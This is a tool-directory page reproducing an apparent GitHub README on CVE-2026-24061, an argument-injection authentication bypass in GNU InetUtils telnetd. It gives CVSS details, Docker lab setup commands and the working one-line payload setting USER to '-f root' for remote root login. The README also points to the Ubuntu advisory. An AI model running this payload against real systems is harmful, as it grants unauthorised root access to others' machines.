Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-24061 — Vulnerability in GNU InetUtils telnetd Enables Remote Root Access | Kitploit
Tools/GitHubGitHub/lucaspdiniz/cve-2026-24061
Vulnerability AnalysisExploitationPenetration TestingAuthenticationRemote Access Tool
GitHublucaspdiniz/cve-2026-24061

CVE-2026-24061

Vulnerability in GNU InetUtils telnetd Enables Remote Root Access

View Repository
7 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

GNU InetUtils telnetd Authentication Bypass via Argument Injection - CVE-2026-24061 📚

Introduction

A recently identified argument injection vulnerability in GNU InetUtils telnetd allows attackers to circumvent authentication by setting the USER environment variable to the value “-f root”. As a result, a remote unauthenticated attacker can gain access to systems running the vulnerable telnetd service and elevate privileges to root. If successfully exploited, this flaw may enable attackers to access sensitive information, alter system settings, and run arbitrary commands, potentially resulting in a complete system compromise.

CVSS detailCNA (MITRE)
Base Score9.8
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
Confidentiality ImpactHigh
Integrity ImpactHigh
Availability ImpactHigh
CVSSv3 Version3.1

What happened?

We were able to access the Commit below from 2015 which shows the code change (line 62) that created this vulnerability.

The purpose of this readme is only to show the execution of the exploit, not every step that generated this CVE, however, the intent is to substitute the %U placeholder with the value taken from the USER environment variable. This particular environment variable is user-controlled and can be manipulated via the Telnet protocol 🔥 .

Environment 🔓

For this test, I created 2 containers using images from Docker Hub, with a vulnerable version of InetUtils.

  • Container -> https://hub.docker.com/_/ubuntu
root@kitploit:~
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
      apt update
      apt install build-essential wget tar
      wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
      tar -xvzf inetutils-2.5.tar.gz
      cd inetutils-2.5
      ./configure
      ./configure --enable-telnet
      make clean
      make
      make install
      export PATH=$PATH:/usr/local/libexec
      apt install openbsd-inetd
      echo "telnet  stream  tcp  nowait  root  /usr/local/libexec/telnetd  telnetd" >> /etc/inetd.conf
      service openbsd-inetd restart

docker run --rm -it --name attacker ubuntu bash
      apt install telnet

Payload 💀

With the payload below, we replace the USER variable and bypass the authentication system.

root@kitploit:~
USER="-f root" telnet -a 172.17.0.3

Version Affected ✅

  • Telnetd in GNU Inetutils through 2.7 allows remote authentication.
  • Follow the update to the Ubuntu version. -> https://ubuntu.com/security/CVE-2026-24061

Check your inetutils version

root@kitploit:~
hostname --version
telnetd --version


See you next time :wink:

Download Tool